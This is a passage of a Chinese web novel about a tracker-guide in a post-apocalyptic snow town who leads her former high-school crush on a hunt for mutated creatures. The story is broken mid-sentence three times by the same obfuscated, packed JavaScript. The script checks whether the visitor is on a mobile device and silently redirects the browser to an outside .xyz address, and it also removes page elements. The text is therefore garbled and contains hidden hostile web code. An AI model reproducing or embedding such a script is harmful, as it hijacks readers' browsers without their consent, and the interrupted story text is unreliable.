《她在末世当导游》 1. 雪原导游 雪原小镇，街道上漫天大雪轻盈飘荡，地上的积雪盖到脚踝。 姜望柠驾驶一辆黑色大狗轿车，驶过无人的雪地，车后增加了两条轮胎印，不到一小时，这痕迹就会被新鲜的落雪掩盖。 车停在镇中心唯一一栋大楼入口处。 说是小镇，其实整个镇上只有这一栋建筑。外观是沉闷的混凝土灰色，远远看像一个沉默的方形碉堡巨兽。 “任务结束，欢迎回程!”姜望柠打开门，对车内的四名全副武装的战士笑道。 四人陆续下车，为首的领队对姜望柠说：“谢谢你的服务，尾款我今晚会安排人转过去。你是我合作过的最专业的导游。” “大人客气了，有需要再来找我”。姜望柠目送四人进入大楼。 姜望柠将车停在大楼外面的停车场，从车上取下一个30寸大行李箱，吃力推着，步行几百米后也走进了大楼。 姜望柠在雪原小镇当导游已经一年了。 一年前大海啸退去后，遗留陆上的海底古病毒爆发，席卷全球。动物感染后成为变异体，国家进入战时状态。 幸运的是，姜望柠觉醒了【溯息】异能，能通过精神力感知半径一百公里内，变异体活动的踪迹。 她成了边境雪原小镇里，专门负责为都城派来的执法者战斗小队引路的导游。 一年前初到小镇的姜望柠，花了一个月时间才摸清这栋楼的大概。 大楼共有20层，实际承担了小镇的所有功能 一到五楼，是办公区。主管小镇安保，水电暖气供应，居民登记。 六到十楼，是经济区。食品饮料，蔬菜肉类，一应俱全。 十一楼到二十楼是生活区。楼层越高，视野越好，租金越贵。 姜望柠推着行李箱，走进一楼的居民用电梯，轻轻按下12楼键。过了半分钟，电梯停止上升，门打开。姜望柠推行李箱沿廊道走，一直到尽头的1227房间。她拿出钥匙，打开门，进去后关上门反锁。 姜望柠的房间是典型的酒店单间格局。三十平米，进门右手边是独立卫浴，左手边是吧台厨房。再往前走几步是一张单人小床和沙发茶几工作台。有扇两平方米的窗户，打开可以看到外面的景色。 所谓景色，一年四季都是白茫茫一片。 好在全年供应暖气。完成工作后，躺在这个小窝，真是世界上最幸福的事。 今天又完成了一个大单，姜望柠长吁一口气。脱光衣服，进入淋浴间，冲了十分钟热水澡。出来擦头发，手机多了一个未接陌生电话。 姜望柠认为是潜在客户，回打了过去，对方一秒接通。“喂，您好，我是雪原个人导游，姜望柠，有什么可以帮到您吗”。 电话对面沉默了三秒，磁性低沉的男性声音响起：“姜望柠，你好。我是秦叙，我们是高中同学，你还记得我吗？我来雪原做任务，需要你带队。明天上午十点，在五楼0501会议室，碰个面谈谈吧。” “好。明天见。”姜望柠用接客的本能答应下来。 你还记得我吗？姜望柠怎么会不记得。 秦叙高中时是学校瞩目的风云人物，身材高大，面容俊秀，成绩优异。毕业后以高分考取顶级军校，后又觉醒万中无一的攻击型异能，现在是都城炙手可热的铁幕执法者。 在校时各方面都很普通的姜望柠，给秦叙写过很多表达爱意的情书，无一例外都石沉大海。 一个是注定翱翔天际的雄鹰，一个是地面不起眼的小草。姜望柠的单恋，注定没有结局。 姜望柠迅速认清了自己的平凡，后来上个普普通通的大学，找个朝八晚五的工作，嫁个经济适用型丈夫。年少时不知天高地厚都成了过往。 而现在，姜望柠要给曾经的白月光提供导游服务。 秦叙晚上给她打电话约明天碰面。说明此刻他已经住在这栋楼里面。 直接定好了0501会议室，说明他对这栋楼很了解，有本地的接待陪同。 姜望柠早听说过，这栋楼有办事处，专门接待来自都城的贵宾。至于有哪些具体职能，姜望柠无从得知。 姜望柠打开衣柜，取出一套职业装，那是她刚毕业入职时，公司为新员工量身定制的女士五件套商务套装，包括长袖白色衬衫、深蓝色西装马甲、深蓝色西装外套、及膝的深蓝色西装半裙、平底玛丽珍皮鞋。 姜望柠一直保存到现在，只要是跟潜在客户在大楼见面会谈，都会穿上这一身行头。干净利落的形象有助于传达靠谱的印象。姜望柠将服装熨平、挂好。 姜望柠打开纸质笔记本，里面记录了从第一次接客以来，每次出任务的成员异能、行进路线、猎杀的变异体类型、收获灵枢的级别和数量。 灵枢，是这个末世世界的通用能量源，也是战斗小队前赴后继击杀变异体的物质奖励。 级别越高的变异体，越难杀，击杀后得到的灵枢等级越高。 姜望柠的【溯息】异能不属于攻击系，单凭她杀不了变异体，只能跟战斗系合作。 姜望柠收取报酬，只负责带队，战斗小队负责击杀。 她是天选辅助，没有任何威胁，因此只要是被派来雪原执行任务的战斗小队，都会找她。 姜望柠每个月带两到三次队，所得报酬刚好够支付房间的租金和日常开销。 复习了自己“光辉的辅助战绩”，姜望柠慢慢合上笔记本，有这些工作经验做支撑，姜望柠希望明天的面谈顺利，成功拿下这单。 此时此刻，20层顶楼套房里，一位中年男性将一张写满了字的纸递给一位年轻男性手里。 “谢谢。齐镇长，今天先到这吧。”年轻男性轻声说。年长的齐镇长离开了房间。 姜望柠，女，26岁，丧偶。 异能：溯息，可以追踪一定范围内异变异体的踪迹。 职业：导游。 身份：群众。 学历：大学毕业 配偶姓名：未知。 配偶职业：未知。 配偶身份：未知。 经历：一年前从陇北省移居到雪原小镇。 成绩：带队助力30余次战斗小队完成灵枢收集任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467499|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜望柠的生平，以文字形式，一览无余地暴露在秦叙面前。 “柠柠。好久不见。”秦叙对着这张简历笑道。 第二天九点半，姜望柠起床洗漱，穿上前一晚精心准备的行头。按下了前往五楼的电梯。 十点，姜望柠准时出现在0501会议室门口，敲门。 门被打开，那个人站在门口。姜望柠对上他的目光，年少时的悸动一瞬间重新占据大脑。 他跟17岁的姜望柠喜欢时的样子有点区别。 17岁的他，身形挺拔俊俏，青春洋溢，发丝飘着海盐柠檬的少年汗香，眼神清澈又坚定。 现在的他，宽肩细腰，大腿粗壮。宽阔的上半身将黑色执法者制服撑得极有筋骨，大腿上的肌肉好似要冲破裤围。 秦叙是不是也像她一样，提前一晚将制服熨平挂好，郑重地迎接今天的第一次会面呢？ 他的面容极为出众，脸部轮廓利落，皮肤白皙，透着健康红润的光泽。在末世还能保持这样的皮肤状态，说明生活质量一直保持着高水平。 最引人注目的是那双眼睛。一双桃花眼，睫毛长而密，在眼睑下投出浅浅的阴影。转动间，有一种沉静的力量，又偶尔会掠过一丝不易觉察的孤独感。 “你来了，姜导游好准时。”他笑起来，那笑意从眼底直达眉梢，显得格外明媚，甚至有点年少时期的明媚灿烂，让末世的姜望柠暂时忘记身处在这样寒冷的边境雪原。 这么美好的帅哥，这些年来有没有哪个无比幸运的女孩享受了他的青春呢？ 姜望柠回过神来，恍然自己已经盯着秦叙超过半分钟了。 “你好，秦叙大人。”姜望柠不好意思地撤回目光，轻声问候。 “小姜到了，坐着聊吧。”会议室里还有齐镇长的迎接问候。 会议室有一张长方形桌子，和六把椅子。首尾的窄边各一把，长边各两把。 秦叙从门口走来，坐在里侧窄边的一把椅子。姜望柠拉开对面窄边的一把，岿然坐下，从荷包掏出一张空白的A4纸，从袖口掏出一红一黑两色中性笔。 齐镇长给两人倒好热茶，“秦叙大人指名要你做导游，小姜可别辜负信任。”齐镇长用委以重任的口吻说。 简直是废话，雪原小镇也没有其他有追踪异能的导游可用。齐镇长倒完水后，关上门走了。 末世、边境、雪原小镇、唯一大楼、关上门的会议室，只有姜望柠和秦叙两个人。这是17岁的姜望柠做梦的素材。她可以就此写出一万字的联想文。 但此刻26岁的姜望柠，经历大海啸和丧夫，一个人在边境求生，没有了17岁时的恋爱脑。姜望柠关注新闻了解到，秦叙现在是都城的最强执法者，金属系异能，天生的战斗圣体，平时都是被派于执行最高危险级别的任务。 如果能跟秦叙有合作关系，哪怕只有仅仅一次，她就有了“最强执法者合作伙伴”的光荣履历，身价将会大涨。以后再谈导游业务，就能提价了。 “秦叙大人，需要我为你做什么。”姜望柠抱着不白来的决心，率先开口。 2. 职业素养 “秦叙大人，需要我做什么。”坐在秦叙对面，姜望柠说。 时隔这么多年，姜望柠这是第一次以潜在合作者的身份跟秦叙对话。 上一次同秦叙说话，是高二结束时。 重新分班后，不能在同一个班，姜望柠很失落。递上最后一封情书，再无联系。 那时的姜望柠，是秦叙的爱慕者、追随者。 秦叙是一座冰川，对姜望柠发出的炙热爱意，视若无睹。 如今时过境迁，秦叙还是天上的太阳，姜望柠已经从一根小草，长成了一棵大树。 “望柠，叫我秦叙就好。能在这天涯海角的地方遇到老同学，真亲切。”秦叙听着姜望柠说完，喉结微不可查地滚动了一下，笑着说。 “态度怎么会这么友好，不会是想压我的价吧？”姜望柠怀疑想。 “能为我简单介绍一下雪原的变异体残留情况吗？”秦叙轻声说，像是一个经验老道的面试官。 “原来是考我来了，这可是我的主场。”姜望柠一下子打起精神，开始介绍。 林海雪原现阶段主要残留三种变异体： 以【冰棱蛛】为代表的初级单体变异体； 以【嚎狼群】为代表的中级群体变异体； 以【霜骸巨像】为代表的高级环境共生变异体。 消灭变异体得到的灵枢，按垂直空间意义上“土地-树木-天空-太阳”由低到高，依次是棕色-绿色-蓝色-金色。 冰棱蛛主要掉落棕色灵枢； 嚎狼群主要掉落绿色灵枢； 霜骸巨像主要掉落蓝色灵枢。 每种变异体消亡后，仅有不到1%的概率，可以掉落高一级的灵枢。 “秦叙大人，想要哪种品质灵枢。”姜望柠用一年工作实践积累出的经验，在秦叙面前，侃侃而谈。 自信的样子，跟17岁的她，有天壤之别。那时的她，跟他说句话都会脸红。 “我要三颗金色灵枢。”秦叙带着温和的笑容，眼神却烫地惊人，有种被理性束缚的渴望在挣扎。 “三颗金色灵枢！至少需要消灭三百个霜骸巨像，这可是不少的工作量。”姜望柠双手一摊，在空白纸上写出概率公式。 “望柠导游，接我这单吗。”秦叙眼神带着钩子，眼底燃烧着毫不避讳的侵占欲。 “接。就看，我的价格你付不付得起”姜望柠丝毫没有对任务难度的畏惧，满眼只有对金钱的渴望。“十万信标。定金两万预付。事成再结算尾款。” 在大海啸后，信标取代了原有的货币，成为了中北国的官方货币。 “成交。”秦叙目光坚定，毫不砍价。 “行，给我十分钟草拟合同，签字付定金后，按你的需求随时出发。”姜望柠签了单，心里一阵松快。 合同内容： 甲方：秦叙 乙方：姜望柠 乙方姜望柠向甲方秦叙提供导游服务 服务时长：四天三夜 服务内容：变异体追踪、三餐供应、住宿安排 尾款支付条件：甲方获得3颗金色灵枢 甲方秦叙先向乙方姜望柠支付两万信标定金。甲方秦叙捕获3颗金色灵枢之后，再向乙方姜望柠支付剩余八万信标尾款。 秦叙的目光在姜望柠落笔的手腕停留了几秒，随即签下了这份手写合同。 “合同一式三份，你一份，我一份，镇上一份。请收好。”姜望柠沉浸在工作状态，对今天谈成的这单非常开心。 秦叙看着他那份合同，心念一转，收进了他的空间。 空间在末日是很高贵的异能，秦叙这个身份的执法者有空间，姜望柠一点都不意外。 “那么，秦叙大人，什么时候出发。”姜望柠征询出发时间。 “明天上午七点。”秦叙的眼神像是黏在了她身上。 “好，我现在回去准备，明天一楼大厅见。”姜望柠满心都是接到订单的兴奋。 “先不急，可不可以带我参观介绍一下这栋楼，然后我请你吃个中饭吧。”秦叙起身，带动椅子拖响声，姜望柠心里一惊。 姜望柠生涩地咽了咽口水，喝完杯子里最后一口水。 秦叙款款向她走来，姜望柠不知所措。秦叙拿起桌上的透明热水茶壶，向姜望柠的杯子里倒满三分之二温水，拿起杯子递给她。 “谢谢。”姜望柠接过水杯，不小心触碰到了秦叙的指尖，有一股闪电从她指尖流窜到心间。姜望柠很久很久没体会过这种感觉了，异性之间的肌肤接触，多么遥远的体验。 姜望柠左手无名指上的铃兰钻戒闪着细碎的光，那是她和亡夫的结婚戒指。时时提醒着她，她有过一段婚姻感情生活，哪怕丈夫不在了，依然是她在末世中生活的精神后盾。 姜望柠迅速抽回手，回答说“可以啊，我带你参观1到10楼，11到20楼是住宿区，不方便上去。” 两人一前一后走出会议室，姜望柠带秦叙坐电梯直下一楼。 整栋大楼像个碉堡，从远处看，是个方方正正的混凝土盒子。 一进大堂，气氛突然变得温馨起来。可能是由于宽阔的挑高，也可能是暖色的灯光。大厅有一组沙发，茶几，作为远道而来贵宾的暂时安置点。 两人正巧碰到齐镇长，齐镇长好奇问，“这么快就谈完了？” 没等姜望柠开口，秦叙便说“是啊，谢谢镇长为我介绍这么优秀的导游。” 姜望柠心想，“我还没开始发力呢，哪里看出优秀了。” “说起来，秦叙大人跟小姜导游还是同乡呢，都来自陇北省。”齐镇长笑道。 秦叙作为都城大红人，他的家乡不是秘密。姜望柠初到雪原小镇时，填写过一份身份资料，因此齐镇长揭示了他们两人的同乡关系。 拜别镇长后，姜望柠带秦叙上了二楼。说是参观，其实只是在走廊逛一圈而已。 姜望柠作为小小导游，权限不高，一些功能区也没有必要进入。 一到五楼的行政区只能在走廊逛一圈，六到十楼的经济区，倒是有一些店可以消费。 “齐镇长的权限更高，可以带你进门了解的更多更深刻的楼层功能，秦叙大人为什么不找镇长带着参观。”在行政楼层的走廊，姜望柠疑惑地问。 “昨天镇长带我参观过了，我想了解你眼里的雪原小镇大楼是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467500|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样的。再说，导游的职责，不就是带人参观嘛。”秦叙缓缓道。 “这样啊。如你所见，这栋楼可以说是麻雀虽小，五脏俱全。”姜望柠细细介绍。 “这里有医院、超市、居委会、水电民政、酒店、餐馆、会议室、健身房……你能想到的，这里几乎都有。”姜望柠一口气念完。 “其实我也才来一年，这里就像世外桃源，居民都各司其职，有秩序地生活。”姜望柠回想起刚来的时候。 “那你是怎么想到来这里的呢？这里距离陇北省至少三千公里，几乎是跨越了大半个国土。”秦叙似乎很好奇她的来时路。 索取般的追问让姜望柠回忆起还在陇北生活的时候。 那时她有温馨的小家，有丈夫。突如其来的大海啸，让家庭支离破碎。 丈夫正在出差，离去那天，她正在做家务，毫无征兆。 当晚入睡后，梦中看见丈夫浑身带伤向她走来，姜望柠的眼眶瞬间湿润，泪水不由自主往下蹿，浑身失去力气，跌坐在地上。 丈夫随之跪在地上，捧起她的脸，轻轻亲吻了脸颊。右臂环抱姜望柠，左手将她的头按进怀里。 “明天离开这里，到雪原去，我会去找你的”。 第二天醒来，姜望柠头疼欲裂，痛不欲生。疯狂给丈夫打电话，给丈夫单位的联络人打电话，都打不通。 姜望柠意识到，她丈夫可能跟她已经不在一个世界了。 只一瞬间，天旋地转，姜望柠的脑袋像要炸开一样，眼前发出金光。姜望柠就是在那时觉醒了【溯息】的异能。 总不能告诉秦叙，是她姜望柠的丈夫在梦里让她来雪原的吧。 姜望柠选择打哈哈混过去，“这里远离陇江，生存压力比较小，而且职场环境很适合我的异能，适合守着一份工过日子。” 陇江是中穹国地理上的南北分界线。两年前那场史无前例的大海啸席卷了中穹国的陇江以南，近乎一半国土淹没在巨浪之下。 中穹国残存的北方重新建立起了政权，继承了大部分中穹国的势力，称为中北国。现在的雪原小镇就属于中北国管辖。 雪原小镇地处国土最北端，常年下雪，年平均气温低于零摄氏度。 这样一个世外桃源，的确适合寡居的女性住。 越往南，纷争越多，越不好生存。秦叙似乎接受了这个理由。 姜望柠在七楼找了一家川菜馆，点了辣子鸡、糖醋排骨、香辣土豆丝和西红柿鸡蛋汤。两人坐在小桌上吃午饭。 “没想到这里竟然还有新鲜的土豆、西红柿、鸡蛋。”秦叙对新鲜菜品的来历很好奇。 “现在中部平原有蔬菜基地，雪原小镇有运输物资的岗位，我相信每个有人聚集的小镇都有类似岗位，是跟你一样有空间的异能人士，具体能装多少不知道。只知道每次去了回来，小镇的蔬菜供应都会好上一阵，去一次抵一个月。” “大家都愿意用自己的异能，为末世中人的生存质量贡献力量，得益于强大的组织。”姜望柠希望通过不经意间的夸奖，让秦叙领会她的奉承之心。 两人吃完饭，姜望柠送秦叙上电梯，她也回到了自己的房间。 3. 出发 第二天早上出发，姜望柠收拾了锅碗瓢盆杂物，放在她的30寸大箱子里，费力拖着，走进电梯。 到一楼电梯门一打开，姜望柠出来就看到，秦叙端坐在大堂的沙发上。 秦叙立马看到了姜望柠，起身向她走去，双手接过姜望柠笨重的大行李箱，意念一转收进自己的空间。 “你没有空间吗？”秦叙疑惑问道。“现在几乎人人都有空间了，区别只是大小不同。手提重物很累吧。” “秦叙大人，这是在跟我凡尔赛吗？有空间的只是极少部分天赋异禀的人，绝大多数像我一样的群众，都还是需要肩背手扛的。”姜望柠深觉跟秦叙是两种不同世界的人，他说的“人人“”指的是跟他一样的顶级执法者吧。 是啊，她姜望柠孤身一人来到雪原，自己租房，收拾住处、学当导游、规划路线、提升沟通话术、接待客户，忙前忙后，没有人帮忙助力，事事都需亲力亲为。 而他秦叙，据姜望柠从新闻中了解，自从觉醒了攻击系异能，就马上被铁幕局收编，他有未知大小的空间，肯定塞满了各种好东西，随取随用。 铁幕局是中北国负责综合国防、公共治安、灾难救援、边境维护、变异体管制的机构，由众多觉醒了异能的执法者组成。 他出差有地接，几乎每个地方都有铁幕局的联络处，熟悉当地的驻地人员可以马上帮他匹配到姜望柠这样经验丰富的当地导游，少走了好多弯路。 他似乎从来不需要操心什么，自然而然就有人给他安排，只需要安心收服变异体就行，舒舒服服就把荣誉挣了。 姜望柠也不想操心那么多，但是不操心不行，不操心就没办法挣信标，没有信标就只能流落街头。 她希望能睡在安心舒适的床上，最好能每天泡个澡。对美好住宿环境的渴望，支撑着姜望柠日复一日努力工作。 不用推着行李箱也好，能省点力气。引着秦叙走出大楼，走向姜望柠的黑色大狗轿车。 途中需要走一段雪路。雪原小镇仍在下雪，鹅毛大学漫天飘荡，地上积压了齐膝盖高的软雪，一脚踩上去就压得紧实。 姜婉宁穿着大海啸前在商场的精品女装专柜买的淡紫色羽绒服，充绒两百克，长度能盖到屁股。 整个人看起来非常蓬松饱满，圆圆的，走路像个鸭子，戴着白色茸茸帽。 羽绒服里面是灰色羊绒毛衣，内搭粉色整套秋衣秋裤。 裤子是白色工装裤，鞋子是白色高筒雪地靴，鞋面有贝壳系带装饰。足以抵挡零下二十摄氏度的低温。 姜望柠穿这身衣服的气质，跟末世环境格格不入。其他人穿的不是黑冲锋衣就是灰大衣，款式也是大众款。 姜望柠认为，漂亮衣服跟舒适住宿一样，是末日生活仅有的追求。如果不能穿得漂亮好看，那还有什么意思。 其实这是姜望柠的谦辞，或者说是精神胜利法。 纺织行业早就研发出了防风防水抗寒轻薄的高功能面料，颜色机理款式更是可以自由组合选择。 姜望柠这身圆滚滚的羽绒服，其实是大海啸前的冬日保暖穿着。 现在的人，为了行动方便，活动自如，早就转向了高功能面料服装产品，但这种高货只有都城的特供商场才有，一般人想买都买不到，雪原小镇的服装店只卖普通款式普通面料的御寒冬装，这些还不如大海啸前的商场货。 看到秦叙穿着一身深绿色工装套装，前胸有四个口袋，裤腿也共有四个口袋。整套衣服很薄，看起来像早秋装。 “你穿这么少，不冷吗？”姜望柠边走边问，其实也是明知故问，她知道秦叙这身衣服肯定是传说中都城才有的高功能轻薄抗寒面料，她希望秦叙提出面料这个关键词，这样姜望柠就方便往下追问是在哪里买的了。 “要不要来感受一下我的温度。”秦叙举起手，他的手裸露在空气中，手掌微红，一股热气向上飘。 姜望柠双手戴着羊绒手套，摆了摆手，“不了不了”。姜望柠连忙拒绝，没想到他竟然还是调情高手，是想借着感受温度的理由跟她姜望柠贴贴吗？果然帅气的男人不可能纯情，他们才见面第二天，秦叙就开始向她释放魅力了，这怎么顶得住。 姜望柠试图转移话题问“你不是有空间吗，为什么衣服还要这么多口袋。” “因为这样穿很酷很帅。”秦叙不会跟姜望柠说的是，他昨晚翻遍了自己空间里的衣柜，才找到这一套看起来时尚炫酷又保暖的套装，也因为这一套衣服，很像高中那会的校服，除了全身多了八个口袋。 两人走到车前，姜望柠打开主驾车门，利落进去。秦叙随之打开副驾车门，坐着系好安全带。 姜望柠熟练打开车载暖气，调出车辆近日监控，观察到最近没有可疑人员路过，递给秦叙一瓶水。姜望柠瞬间进入导游工作状态。 “秦叙大人，我安排了三天的剿灭变异体的行程，今天是第一天。我不开夜路，所以第四天的上午才会会启程回到这里。” “您可能是第一次深入雪原腹地，我希望尽可能多得带大人领略雪原风采。在完成任务之余，看更多风景，也是一种收获。” “变异体的剿灭路线，也会遵循先易后难、循序渐进的原则，是为了让您的战斗状态和身心情绪都逐渐适应雪原这个特殊环境。所以今天和明天都是开胃小菜，后天才是硬骨头。” “您放心，我既然签了合同，一定尽全力助您收获3颗金色灵枢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467501|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过程中收获的其他颜色灵枢或任何掉落物也全部归您所有，多多益善，我懂的。” 姜望柠介绍完大概情况，见秦叙没有异议，便一脚踩下油门，两道车辙慢慢消失在小镇边缘的雪原入口处。 末日雪原，异性男女，同处一车内，没人说话的气氛好无聊。姜望柠打开车载音响，放起了自己珍藏的音乐。 姜望柠童年生活在千禧年的前十年，当时的乐坛经历了神仙打架的激烈竞争，留下了一批经典的传世佳作。 大海啸前，姜望柠将这批音乐作品通通下载到了固态硬盘，担心会有意外，还特意准备了额外两个固态硬盘备份。 来找姜望柠做导游的执法者，几乎都有大海啸前的生活经历。姜望柠会根据对方的人数、地域、潜在喜好，给旅途装配不一样的曲库。 在车上的执法者，听到熟悉的音乐，心情会变好，心情好了之后，沟通态度和战斗效率也会变好，这也是姜望柠能快速在雪原小镇发展起导游事业的小小巧思。 这段旅程给秦叙装配的，是他们高中阶段爆火的男星女星组合的热门单曲，整整两百首，三天往返共四百公里的路程可以做到一首都不重复。 车轮压过积雪，发出咯吱咯吱的轻响。此刻的林海雪原白得晃眼，半米深的雪把山路、树林都覆上一层柔软。 特别显眼的是姜望柠的黑色小车，穿行在唯一的双车道公路上，两边积雪堆得老高，车开过去能扬起一片雪雾，在太阳底下闪闪发光。 路边的白桦林全都挂满了冰凌，树枝被雪压得弯弯的。阳光从树缝里漏下来，在雪地上照出深深浅浅的蓝影子。 往远看，天蓝得彻底，山峦层层叠叠盖着雪，一眼望不到头。车里开着暖气，窗户外头是看不腻的雪景，安静又开阔。 姜望柠预计要开一百五十公里，就能到达冰凌蛛的巢穴，大概行驶三个小时。 “听说，您现在是都城第一执法者，还是那么厉害。”姜望柠率先用夸讲来打破沉寂。 “你一直在关注我吗？”秦叙笑道。 “没办法不关注你，你太有名了，电视上都是你的战斗事迹，我们大楼还有你的海报，据说有驱邪的作用。这次你来雪原，镇长提前好久跟我打好招呼，我才预留空时间接待你，要不然你都预约不上我，我的排期已经到半年后了。”姜望柠上学时就是个小话痨，一开口就停不下来，即使是面对这个曾经爱慕的白月光，也说的停不下来。 镇长提前打招呼预约，姜望柠特意强调出来，以表示自己作为导游的价值，她不想在秦叙面前显得太弱了。但自己的能力又不是攻击系，只能作为一个辅助角色。即使是辅助角色，姜望柠也希望做到完美，让客人满意。 4. 冰棱蛛 林海雪原的静，是能吞噬心跳的那种。 驱车三小时，达到了第一天目的地，冰棱蛛巢穴。 这个巢穴是姜望柠发现的。姜望柠当时第一次在雪原腹地施展【溯息】，四面八方的生物气息一齐袭来。 雪原广袤无垠，生物链交织复杂，气息五花八门，难以辨识。 其中有一股能量气息尤为特殊，光是闻到就令人作呕。越靠近越难受。 姜望柠当时拒绝前往。但同行的猎人们强烈要求并且支付了巨额的带路费，姜望柠才带他们去。 猎人是民间剿灭异变异体的职业称呼，以打猎变异体，获取并贩卖灵枢为生。 姜望柠才意识到，【溯息】可以作为带路的技能来赚钱。 事后，她专门去都城购置了【透明防毒防味面罩】，可以抵御冰棱蛛的气息污染。 她每个月都会花三天时间往返一次都城，专门采购装备和生活物资。 只有都城，才会汇集又全又强的货品，是雪原边境小镇比不了的。 “喏，带上这个【透明防毒防味面罩】。”姜望柠递给秦叙。 车内有空气内循环，所以一路开来都闻不到愈发浓烈的异味。 “冰棱蛛有味道吗？”秦叙伸手接过并戴上。 “有的，相信我。就是这了，下车吧。”姜望柠不容置疑地强调。 两人一起下车，还得继续走一公里，这段路隐藏在树林间，无法开车到达。 除了脚下积雪被压实时的嘎吱声，整个世界犹如一副安静的油画。 姜望柠走在秦叙前面半米，两人像两颗小点，在这无垠的纯白与墨绿交织的画布上挪动。 寒气刺骨，呵气成霜，姜望柠只有眼睛露出，睫毛上都结了细小的冰凌。 姜望柠突然举起手，示意秦叙停下脚步。两人走到了冰棱蛛巢穴。 那是一座冰窟，洞口被垂落的蛛网半掩着，像巨兽贪婪张开的口。 那股混合着腐殖和兽腥的气味骤然浓烈起来，几乎凝成实质。 洞窟深处，隐约有幽蓝的微光浮动，伴随着极其轻微的“咔嗒”声，像是冰晶在生长。 就在姜望柠深吸一口气，准备迈出最后几步时，身后的人动了。 风声掠过。 几乎只是一瞬，一个身影以意想不到的迅疾两步跨过那半米的界限。 坚实的肩背猛然阻隔在她与巢穴之间，完全挡住了姜望柠的视线。 雪地被踩出沉闷的声响。 姜望柠的脚步倏然停住，心跳猛地漏了一拍。 第一个闯入心里的念头，带着微热的暖意——他挡在她前面了。 是一种笨拙却急切的保护吗？ 是男性本能般地将危险先揽于自身？ 可是，倒也不用这样。毕竟，这是姜望柠的工作。 姜望柠已经带队击杀过十次以上冰棱蛛，这只是开胃小菜，成功率百分之百。 她内心毫无波澜，甚至有点想笑。这令人着迷的拉扯感。 “秦叙大人，你挡到我了。”姜望柠嗔怪。 “这是到巢穴洞口了吗？我怕你有危险。”秦叙好像在表演保护欲。 “当我一年导游白干了吗？我可以保护自己。”姜望柠解释。 事实上，如果是姜望柠带别的队来，她根本不会下车，下车意味着危险。 她会在车上，跟队员说，下车后往哪个方向走多少米。随后在车上等待一两个小时，等小队打猎完成归来。 姜望柠呆在远离战斗区域的绝对安全区，同时也是避免看到队员们瓜分战利品灵枢的结算场面。她一个外人，没有必要在场。 这是姜望柠总结出的导游生存之道，只带路，不参与战斗，避免成为累赘。 这次跟着秦叙下车，只是想看看这位顶级执法者如何战斗。 毫无征兆，一道白丝从洞顶射下，快得只留下残影！ 它不是柔软的丝，而是凝聚成实质的冰坠，所过之处空气都爆开冰晶。 那蛛丝直直钉入地面，瞬间将柔软的雪冻结。 它在巢穴洞口现身了。 冰棱蛛。是雪原蛛类被海底古细菌感染后形成的变异体。 其躯干大如越野车，八条长足皆是锋利冰冷的黑色冰凌结晶，长满毛刺。 每一次移动都带来清脆又令人牙酸的刮擦声。 它再次张口，这次喷出的并非直线蛛丝，而是一团雾状结晶。 雾霭迅速弥漫，所过之处，空气中所有水汽瞬间凝结，形成一张巨大无比、覆盖所有退路的立体冰网，将两人困在当中。 冰网不断增厚，拉进，寒意直透骨髓。 秦叙的后背主动紧贴着姜望柠，头一歪，望向身后的她“还在逞强吗？这种情况，你会怎么保护自己。” 姜望柠看着牢笼般逼近的冰网，心想“怎么还不动手，以秦叙的异能对付这种等级的异能体简直是轻而易举。怎么会沦落到被包围的劣势。” 除非…… 除非…… 除非是他故意不出手，就等着姜望柠出手。 他想看清她的底牌!!! 一个寡居边境的女性，如果只有【溯息】这种追踪辅助系异能，只会被啃得骨头都不剩。 因为要面对的绝不仅仅是像他秦叙这样好说话的老同学。 如果有难缠的猎人或组织控制了她的人身自由，要求她全天候使用【溯息】带路追剿变异体，不给她休息和报酬怎么办？ 如果碰到了高级变异体，队伍成员都打不过，她作为导游如何带领队员脱困？ 太多谜团了。 她姜望柠，一定还有保命的底牌没亮。 秦叙就是想试探出来。 “以前是阳光开朗大帅哥，怎么现在这么多心眼子。”姜望柠在心底默默吐槽。 眼看冰网越来越近，离两人只有不到一米了。 姜望柠看秦叙还没有要动手的意思，不得已发动【碧水密语】异能，相当于水系异能，将冰棱蛛小脑脑干的□□凝固。 冰网随之熔化，冰棱蛛失去平衡，倒地挣扎。 姜望柠的【碧水密语】水系异能还在初级阶段，仅能控制一小部分体积液体的物理状态，而且耗费能量巨大。 她蹲下休息，坐在雪地上。 秦叙看到坐在身后的姜望柠，似乎发现了她具备不太成熟的水系异能。 既然试探出来，那就没必要浪费时间了。 秦叙抬起手，一块金属片从鞋面飞出，迅速从片状变成利刃。 利刃以高速击穿冰棱蛛的心脏和脖颈。 冰棱蛛停止挣扎，失去活动迹象。 冰凌蛛的身体逐渐消散。3颗棕色灵枢从身躯上浮出。 秦叙挥手，将灵枢收进空间。 